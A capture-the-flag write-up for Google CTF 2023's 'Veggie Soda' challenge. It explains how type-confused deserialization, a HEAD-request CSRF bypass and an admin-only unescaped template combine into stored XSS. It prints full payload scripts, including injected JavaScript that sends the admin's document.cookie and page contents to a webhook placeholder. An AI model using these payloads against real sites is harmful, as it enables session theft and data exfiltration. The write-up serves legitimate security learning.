Veggie Soda | Google CTF 2023
Rabbits, Denosaurs, and misinterpreted sodas brew a wonderful XSS!
Veggie Soda easily takes over the record for my hardest solved challenge to date! Each layer of the challenge was an interesting puzzle to reason through, and I learned a lot while putting together the pieces of the final exploit as the clock ticked down to zero.
Dawn of the Final Day
24 hours remain.
/play in love with a ghost - Golden Ridge (Golden Feather Mix)
Bunnies and Denosaurs
Hate eating veggies? Just drink them :)
↧
Attachmenthttps://vegsoda-web.2023.ctfcompetition.com
Our first impression of Veggie Soda’s site is a very cute rabbit picture and a very typical sign up page. After signing up with my very secure credentials of username=arc01
and password=arc01
, we’re redirected to the Profile page, which contains a list of all of our “posts” and “sodas”…
…as well as forms to make new posts, sodas, and admin bot requests.
The singular soda we already own contains a welcome note from admin.
Cracking open the source code, we’re met with an application built with Deno (obligatory 🦕) and the Oak framework. A quick grep -r "flag"
reveals absolutely nothing, so let’s just go through the file list top-to-bottom:
src/db/index.js
is, as the filename suggests, Veggie Soda’s database wrapper. All of the queries use standard SQL placeholder syntax, so no SQL injections here! Interesting things to note in this module though are the admin initialization linesif (await return_admin() === false) { await db.execute(`INSERT INTO users (userid, premium, username, password, status) VALUES (?, 1, 'admin', ?, ?)`, [crypto.randomUUID(), adminhash, "I like Soda"]); }
as well as the very sus method
async function delete_from_db<S extends string>(db_name: S, change: S, param: S){ await db.execute(`DELETE FROM ??} WHERE ?? = ?`, [db_name, change, param]); }
While at first this looks like a possible SQL injection vuln, a quick ctrl+f reveals that
delete_from_db
is… never used anywhere in the codebase. This is probably just a red herring then :Dutils/serializer.ts
+models/classes/{Log,Post,Soda,User,Vio,Warning}.ts
all seem like pretty typical model classes. The most interesting thing about them is their usage of the superserial library to handle serialization. Superserial claims to “handle any data type” yet only supports floats, undefined, Symbol, BigInt, Date, RegExp, Map, and Set. Curious. We’ll come back to these classes later once we have more context on what they’re used for.- Skipping ahead to the front-end logic,
routes/post.ts
handles the rendering for viewing a singular post. Interestingly enough, part of the/newpost
endpoint logic checks if your post has XSS - and assigns you aVio
lation if XSS was detected and you’re not a premium user! :skull:const regex = '(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>'; const xss = post.content.match(regex); if (xss && user.getPrem() === 0){ const vioid = crypto.randomUUID(); const vio = Vio.getVio("XSS", user.getUsername(), vioid); const serializedvio = serializer.serialize(vio); const qSubmission = ctx.state.queue.submitToQueue(user.getUsername(), serializedvio, "Vio");
The funny thing about this check is that you can only ever see your own posts - while sodas can be sent from a sender to a recipient, the code doesn’t allow you to view posts that don’t belong to you.
if (user.posts.has(postId)){ // -- snip -- } else { throw Error("Couldn't find specified post."); }
Thus, there is quite literally no point in trying to XSS through the post endpoint anyways!
- While
routes/sodas.ts
doesn’t contain any XSS checks, it presents a different problem: you can’t send sodas to a premium user (such as the admin) as a lowly proletariat:if (sourceUser.getPrem() !== 1 && destinationUser.getPrem() === 1){ const vioid = crypto.randomUUID(); const vio = Vio.getVio("UNAUTHORIZED ACCESS", sourceUser.getUsername(), vioid); const serializedvio = serializer.serialize(vio); const qSubmission = ctx.state.queue.submitToQueue(sourceUser.getUsername(), serializedvio, "Vio"); // -- snip -- const access_err = new Error("You cannot send a soda to a premium user as a standard user. A warning will be added to your profile."); throw access_err; }
Assuming that you somehow did manage send an XSSSoda™ to the admin however, would the XSS even render?
If we look at the
/soda
endpoint…if (user.getPrem() === 0){ ctx.render("./views/standardsoda.ejs", {data:{id: soda.id, variety: soda.variety.toString(), note: soda.note, sender: soda.src}}); return; } else if (user.getPrem() === 1){ ctx.render("./views/premiumsoda.ejs", {data:{id: soda.id, variety: soda.variety.toString(), note: soda.note, sender: soda.src}}); return; }
…when logged in as a premium user, Veggie Soda actually renders a slightly different webpage than for proletariats. In the end, that difference boils down to a single character: According to the EJS docs,the
<%=
tag outputs an HTML escaped variable, whilst the<%-
tag outputs variables unescaped. Which means that any XSSSoda™ we produce will be effective on (and only on) the admin account. Bingo!So how are we going to brew that soda, anyways?
Gimme Premium Please
From what we’ve looked at so far, in order for us to send an XSSSoda™ to the admin, we need to become a premium user somehow. How do we do that?
Looking at the database code again, it looks like all users apart from the admin are initialized to zero premium access by default:
async function insert_stan_user<S extends string>(userid: S, username: S, password: S){
await db.execute(`INSERT INTO users (userid, premium, username, password, status) VALUES (?, 0, ?, ?, ?)`, [userid, username, password, ""]);
}
All of the posts, sodas, and violations logic go through the models/classes/Queue.ts
class, which then invokes UserManager#setUser
to upsert updated user data. Unfortunately, the only update setUser
makes to the User table itself is for statuses, and that in it of itself already requires a premium user:
await db.update_db("users", "status", user.getStatus(), "username", user.getUsername());
While there is some questionable switch fallthrough going on inside the sql_builder
module, I didn’t find anything to suggest that SQL injection is possible here. How are we supposed to do anything if we can’t become a premium user? This is literally 1984!
But then, while retracing my steps to the code block above, I took a closer look at status.ts
- and found a brew of a different kind.
Status Effect
19 hours remain.
As noted above, only premium users (the admin) are allowed to set a status:
But the source code for status.ts
reveals something interesting: unlike every other form submission handler on the site, /status
accepts either a POST with form data or a GET with url parameters.
if (user.getPrem() === 0){
throw new Error("Sorry, only admins have statuses!");
}
if (ctx.request.url.searchParams.has("content")){
content = ctx.request.url.searchParams.get("content");
if (ctx.request.url.searchParams.has("type")){
type = ctx.request.url.searchParams.get("type");
}
const qSubmission = ctx.state.queue.submitToQueue(username, content, type);
if (!qSubmission){
throw new Error("An error occurred during queue processing a new status.");
}
ctx.response.redirect("/profile");
return;
} else if (ctx.request.hasBody){
const req = await ctx.request.body({ type: "json" }).value;
content = req["content"];
if (req["type"]){
type = req["type"];
}
const qSubmission = ctx.state.queue.submitToQueue(username, content, type);
if (!qSubmission){
throw new Error("An error occurred during queue processing a new status.");
}
ctx.response.body = "Status succesfully changed";
return;
}
Thus, by directing the admin bot to a handcrafted /status?content=
link, we can force the admin bot to set its status to whatever we want!
…except this isn’t all that useful at first glance. Statuses *are* properly html-escaped during rendering, so we can’t use a status as an XSS vector. But the above code betrays a far more powerful vector.
Although the front-end code in status.ejs
only sends the server a content
and a csrf_token
, the server accepts a third parameter type
that we can override. This allows us to call the server-side submitToQueue
method on the admin user with arbitrary arguments. And what does submitToQueue
do?
// in models/classes/Queue.ts
switch(qItem.processName){
case "Soda":
var soda = null;
try {
soda = serializer.deserialize(qItem.toProcess) as Soda;
soda.apply();
soda.resolve(user);
} catch {
break;
}
const sodalog = new Log(soda);
sodalog.apply(user);
logs.push(sodalog);
break;
case "Post":
var post = null;
try {
post = serializer.deserialize(qItem.toProcess) as Post;
Post.resolve(post, user, post.content);
} catch {
break;
}
const postlog = new Log(post);
postlog.apply(user);
logs.push(postlog);
break;
case "Vio":
var vio = null;
try {
vio = serializer.deserialize(qItem.toProcess) as Vio;
vio.resolveWarning(user);
} catch {
break;
}
const violog = new Log(vio);
violog.apply(user);
logs.push(violog);
break;
case "Status":
user.setStatus(qItem.toProcess);
break;
default:
break;
}
await users.setUser(user.getUsername(), user);
It happily deserializes our input as whatever type we please!
This Is Not a Soda
At first glance, the solution is now trivial: just force the server to deserialize an XSSSoda™ and we win! Except it’s not all that simple:
// in models/classes/Post.ts
static resolve<P extends Post>(post: P, user?: User, content?: string){
try {
if (content){
post.content = escape(content);
if (user){
post.resolveUser(user);
}
return;
}
post.apply(user);
} catch {
return;
}
}
// in models/classes/Soda.ts
apply(){
this.note = escape(this.note);
}
If we trace the line of execution for submitting both a type=Soda&content=Soda{...}
and a type=Post&content=Post{...}
, we’d quickly note that the contents of Soda and Post are both escaped server-side as part of pre-processing. That’s no good! Clearly, we need to abuse wrong-type deserialization here somehow, but:
- if we submit a
Soda
and pretend it’s aPost
,Post::resolve
will end up callingSoda#apply
, which ends up escaping theSoda
. (TheSoda
is additionally never given to the admin user either.) - If we submit a
Post
and pretend it’s aSoda
,Post#apply
will be a no-op and trying to invokePost#resolve
will throw an exception. (ThePost
is also never given to the admin user, even if there was no exception thrown.)
For a decent chunk of time (read: 3 hours) I was stuck on what types to actually use here, until I clicked inside the postlog.apply
line and saw a path forward:
// in models/classes/Log.ts
public generate(){
switch(this.e.constructor.name){
case "ApplicationErrorEvent":
// -- snip --
default:
console.log(`%c============= MISC. LOG [${this.date}]`, "color:blue");
if (typeof this.e === "undefined"){
console.log("OBJECT IS UNDEFINED.");
} else {
if (this.e.dispatch){
console.log(this.e.dispatch());
}
}
break;
}
}
public apply(u: User){
if (!this.e.validate){
return;
}
if (this.e.validate(u)){
this.generate();
}
}
If instead of trying to break the deserializers we have them work as intended, the deserialized object will eventually be added to a Log
object for console logging. That Log
object will then, if the methods exist, call validate
and dispatch
on the given object.
Soda
and Post
both don’t do anything useful on validation, but our third option Vio
does:
// in models/classes/Vio.ts
validate(user: User): boolean{
if (!this.warning) {
return false;
}
if (user.getId() === this.userid){
this.warning.assign(user);
return true;
} else {
return this.warning.resolve(user);
}
}
So Log
calls Vio#validate
, and Vio
calls our choice of either Warning#assign
or Warning#resolve
. But given that we have arbitrary input control over what gets deserialized and that types are really just a suggestion in Deno, we can probably just replace the warning
with whatever we want!
So what type defines either assign
or resolve
, applies itself to the given user, and conveniently doesn’t escape its contents?
Soda
, of course!
// in models/classes/Soda.ts
resolve(user: User){
this.dest = user.getUsername();
user.pushToSodas(this);
}
Given all of the above, we can now write our payload generator script…
// payload-gen.ts version 1 (spoiler alert: this has bugs!)
// @ts-ignore
import { Serializer } from "https://deno.land/x/superserial/mod.ts";
import Post from './Post.ts';
import Log from './Log.ts';
import Soda from './Soda.ts';
import Vio from './Vio.ts';
import Warning from './Warning.ts';
const serializer = new Serializer({ classes: {Post, Log, Vio, Soda, Warning} });
const UUID = "e3586424-e765-49c4-8556-57377aed08f3";
const note = `
<script>
let ROOT = "https://vegsoda-web.2023.ctfcompetition.com/";
let load = (i, s) => { i.src = s; return new Promise(r => i.onload = () => { i.onload = null; r(i.contentWindow.document.body.innerHTML) }) };
let yoink = (s) => navigator.sendBeacon("[webhook]?q=" + encodeURIComponent(JSON.stringify(s)));
(async () => {
let i = document.createElement("iframe");
document.body.appendChild(i);
let profile = await load(i, ROOT + "profile");
let posts = profile.match(/(?<=<li><a class="sodalink" href="\\/post\\/).*?(?=">)/gm);
let sodas = profile.match(/(?<=<li><a class="sodalink" href="\\/sodas\\/).*?(?=">)/gm);
yoink([posts, sodas]);
for (let p of posts) {
yoink((await load(i, \`\${ROOT}post/\${p}\`)).match(/(?<=<h2 class="page-section-heading text-center text-uppercase text-secondary mb-0">).*?(?=<\\/h2>)/gm));
}
for (let s of sodas) {
yoink((await load(i, \`\${ROOT}sodas/\${s}\`)).match(/(?<=<p class="masthead-subheading font-weight-light mb-0">).*?(?=<\\/p>)/gm));
}
yoink(await load(i, "https://vegsoda-web.2023.ctfcompetition.com/status"));
})()
</script>
`
let stopYouViolatedTheLaw = {
id: UUID,
userid: "arcblroth",
level: "XSS",
warning: Soda.getSoda(
"Carrot", // rabbits unite!
"admin",
note,
UUID,
"admin",
)
}
let vio = "Vio" + serializer.serialize(stopYouViolatedTheLaw)
console.log(vio)
console.log(serializer.deserialize(vio))
Deno.writeFileSync("payload.txt", new TextEncoder().encode(`https://vegsoda-web.2023.ctfcompetition.com/status?type=Soda&content=${encodeURIComponent(vio)}`))
console.log("Payload written.")
…ask the admin bot to navigate to that payload URL…
…spam create posts to ourselves to force the server-side queue to flush*…
*Note: According to the code in
main.ts
, the server processes all queue requests in batches of at least size 3 every 30 seconds. To be honest, I found this quite annoying while developing the solution to this challenge!
…ask the admin bot to read our XSSSoda™ at https://vegsoda-web.2023.ctfcompetition.com/sodas/e3586424-e765-49c4-8556-57377aed08f3
…
…and then wait for our flag to arrive.
Spoiler alert: the flag did not, in fact, arrive.
So what went wrong? Tracing through what would have executed on the server, I realized fatal mistake #1: since Vio
doesn’t define an apply
method, deserializating the Vio
as a “Soda
” fails and the queue logic panics.
To fix this, we need to lie to the server that our Vio
is actually a Post
- since Post::resolve
is a static method and internally try-catches any errors, this means that our Vio
will sucessfully “deserialize” as a Post
!
- ?type=Soda
+ ?type=Post
Apply applying the above change, I re-did the above series of steps and waited for the flag.
Spoiler alert: the flag, once again, did not arrive.
CSRF, the Final Boss
13 hours remain.
To figure out what exactly was going wrong, I finally gave up and deployed the challenge locally:
$ docker network create googlectf
$ docker run --rm --network googlectf --name googlectf-mysql -e MYSQL_ROOT_PASSWORD=password -d mysql:8
$ docker run -it --network googlectf --rm mysql mysql -hgooglectf-mysql -uroot -p
mysql> CREATE DATABASE forge;
mysql> CREATE USER 'forge'@'172.18.0.3' IDENTIFIED BY 'password';
mysql> GRANT ALL PRIVILEGES ON *.* TO 'forge'@'172.18.0.3' WITH GRANT OPTION;
mysql> exit
$ docker run -it --network googlectf --rm mysql mysql -hgooglectf-mysql -uforge -p
$ docker build . --tag googlectf
$ docker run --name googlectf --network googlectf --rm -e COOKIE_KEY="blah" -e COOKIE_ENCRYPTION="blah" -e DB_HOST=googlectf-mysql -e DB_PASSWORD=password --privileged -p 1337:1337 googlectf
Logging in as admin on my local deployment (if only I could do that on remote) and navigating to the payload URL, I was greeted with
…403 Forbidden? What’s generating that?
In my haste to assemble a solve script, I forgot about the final file we haven’t seen yet: csrf.ts
.
// @ts-ignore
import { computeHmacTokenPair, computeVerifyHmacTokenPair } from "https://deno.land/x/deno_csrf@0.0.4/mod.ts"
// @ts-ignore
import { Context, Middleware, Status } from 'https://deno.land/x/oak/mod.ts';
// @ts-ignore
import { Session } from "https://deno.land/x/oak_sessions/mod.ts";
const getCsrfMiddleware = async function (ctx: Context, key: string): Promise<boolean>{
if (ctx.request.url.searchParams.size) {
const cookies_token = await ctx.cookies.get("token");
const csrf = ctx.request.url.searchParams.get("csrf");
if (!csrf || !cookies_token || !computeVerifyHmacTokenPair(key, csrf, cookies_token)){
return false;
}
return true;
}
const HMACpair = computeHmacTokenPair(key, 300);
await ctx.state.session.set("csrf", HMACpair.tokenStr);
await ctx.cookies.set("token", HMACpair.cookieStr);
return true;
};
const postCsrfMiddleware = async function (ctx: Context, key: string): Promise<boolean>{
const body = await ctx.request.body({ type: "json" }).value;
const cookies_token = await ctx.cookies.get("token");
var success = false;
if (!body["csrf"] || !cookies_token || !computeVerifyHmacTokenPair(key, body["csrf"], cookies_token)){
return success;
}
success = true;
return success;
}
// -- snip --
csrf_protections(): Middleware {
const csrf_func = async (ctx: Context, next: () => Promise<void>): Promise<void> => {
if (ctx.request.method === "GET"){
const get_success = await getCsrfMiddleware(ctx, this.key);
if (!get_success) {
return ctx.response.status = Status.Forbidden;
}
} else if (ctx.request.method === "POST"){
const post_success = await postCsrfMiddleware(ctx, this.key);
if (!post_success){
return ctx.response.status = Status.Forbidden;
}
}
await next();
}
return csrf_func as Middleware;
}
What first stood out to me here is the specific version of deno_csrf
used - v0.0.4
instead of the latest version v0.0.5
. If we check the Github log for deno_csrf
, a single commit was made between v0.0.4
and v0.0.5
, ominously titled “bug fix”.
The only problem with this is that commit just adds a validation check to the CSRF key
to ensure that it’s exactly 32 characters long - and we can’t even control the value of that key anyways. Clearly this isn’t the right method of attack!
Interestingly, the cookie store Vegetable Soda sets up
// in main.ts
const store = new CookieStore(Deno.env.get("COOKIE_ENCRYPTION"), {cookieSetDeleteOptions: {
sameSite: "none",
secure: true
}});
makes all cookies SameSite=None
, which means that we can put https://vegsoda-web.2023.ctfcompetition.com
in an iframe or fetch({ credentials: 'include' })
it on a cross-domain site!
However, since Access-Control-Allow-Origin
isn’t set on anything the server returns, we’re limited to only simple requests to Vegetable Soda. Notably, this means we can’t just yoink a csrf_token
from the website and use it to forge a submission. The CORS preflight request OPTIONS
also doesn’t seem to trigger any side effects on the server - goshdarnit well designed security standards!
Note: for testing locally with the
SameSite=None; Secure
cookies, I set up a self-signed cert on my local challenge deployment, which involved a lot of wrestling with Firefox.
I then spent an hour or so trying unsuccessfully to bypass the CSRF, before I decided to set an alarm and call it for the night.
2 hours remain.
It was the next morning that I re-read the fetch
spec and realized something:
Wait, HEAD
is a simple request?
Since the CSRF handler above only applies CRSF to GET
and POST
requests, if we can sneak in a HEAD
request, then we can bypass the CRSF. Bingo!
After adding a bit of console logging to my local deployment, I pointed the “admin bot” to a site with the script
fetch("<above payload>", {
method: "HEAD", // cors bypass go brrrr
});
and got the following output:
the moment everything worked
Despite the fact CORS technically fails client-side, the server still processes the /status
middleware anyways - which means we’ve bypassed CSRF! WOOO!
Note: the error above was triggered because I forgot to add
credentials: 'include'
and is a faithful reproduction of the actual moment where I discovered how to bypass the CSRF.
write flag where
20 minutes remain.
Now that we have all the pieces, all that’s left are to put them together! (And to also fix all the bugs in my payload such as missing \\
s, whoops).
After repeating the above deployment sites for the third time on the actual challenge instance, my webhook finally started receiving payloads such as
There’s just one problem left.
With just ten minutes to spare, I realized that the flag was probably in document.cookie
and submitted an updated payload with a separate UUID:
--- payload-gen.ts
+++ payload-gen.ts
@@ -1,4 +1,4 @@
-// payload-gen.ts version 1 (spoiler alert: this has bugs!)
+// payload-gen.ts version 3
import { Serializer } from "https://deno.land/x/superserial/mod.ts";
import Post from './Post.ts';
import Log from './Log.ts';
@@ -14,6 +14,8 @@
let ROOT = "https://vegsoda-web.2023.ctfcompetition.com/";
let load = (i, s) => { i.src = s; return new Promise(r => i.onload = () => { i.onload = null; r(i.contentWindow.document.body.innerHTML) }) };
let yoink = (s) => navigator.sendBeacon("[webhook]?q=" + encodeURIComponent(JSON.stringify(s)));
+ yoink("payload deployed!");
+ yoink(document.cookie);
(async () => {
let i = document.createElement("iframe");
document.body.appendChild(i);
And with just eight minutes to spare:
We have a flag!
The Solve Script
// payload-gen.ts version 3
import { Serializer } from "https://deno.land/x/superserial/mod.ts";
import Post from './Post.ts';
import Log from './Log.ts';
import Soda from './Soda.ts';
import Vio from './Vio.ts';
import Warning from './Warning.ts';
const serializer = new Serializer({ classes: {Post, Log, Vio, Soda, Warning} });
const UUID = "e3586424-e765-49c4-8556-57377aed08f3";
const note = `
<script>
let ROOT = "https://vegsoda-web.2023.ctfcompetition.com/";
let load = (i, s) => { i.src = s; return new Promise(r => i.onload = () => { i.onload = null; r(i.contentWindow.document.body.innerHTML) }) };
let yoink = (s) => navigator.sendBeacon("[webhook]?q=" + encodeURIComponent(JSON.stringify(s)));
yoink("payload deployed!");
yoink(document.cookie);
(async () => {
let i = document.createElement("iframe");
document.body.appendChild(i);
let profile = await load(i, ROOT + "profile");
let posts = profile.match(/(?<=<li><a class="sodalink" href="\\/post\\/).*?(?=">)/gm);
let sodas = profile.match(/(?<=<li><a class="sodalink" href="\\/sodas\\/).*?(?=">)/gm);
yoink([posts, sodas]);
for (let p of posts) {
yoink((await load(i, \`\${ROOT}post/\${p}\`)).match(/(?<=<h2 class="page-section-heading text-center text-uppercase text-secondary mb-0">).*?(?=<\\/h2>)/gm));
}
for (let s of sodas) {
yoink((await load(i, \`\${ROOT}sodas/\${s}\`)).match(/(?<=<p class="masthead-subheading font-weight-light mb-0">).*?(?=<\\/p>)/gm));
}
yoink(await load(i, "https://vegsoda-web.2023.ctfcompetition.com/status"));
})()
</script>
`
let stopYouViolatedTheLaw = {
id: UUID,
userid: "arcblroth",
level: "XSS",
warning: Soda.getSoda(
"Carrot", // rabbits unite!
"admin",
note,
UUID,
"admin",
)
}
let vio = "Vio" + serializer.serialize(stopYouViolatedTheLaw)
console.log(vio)
console.log(serializer.deserialize(vio))
Deno.writeFileSync("payload.txt", new TextEncoder().encode(`https://vegsoda-web.2023.ctfcompetition.com/status?type=Post&content=${encodeURIComponent(vio)}`))
console.log("Payload written.")
<!-- put this on a site with https -->
<!-- and direct the admin bot to it -->
<script>
fetch("<above payload>", {
method: "HEAD", // cors bypass go brrrr
credentials: 'include',
});
</script>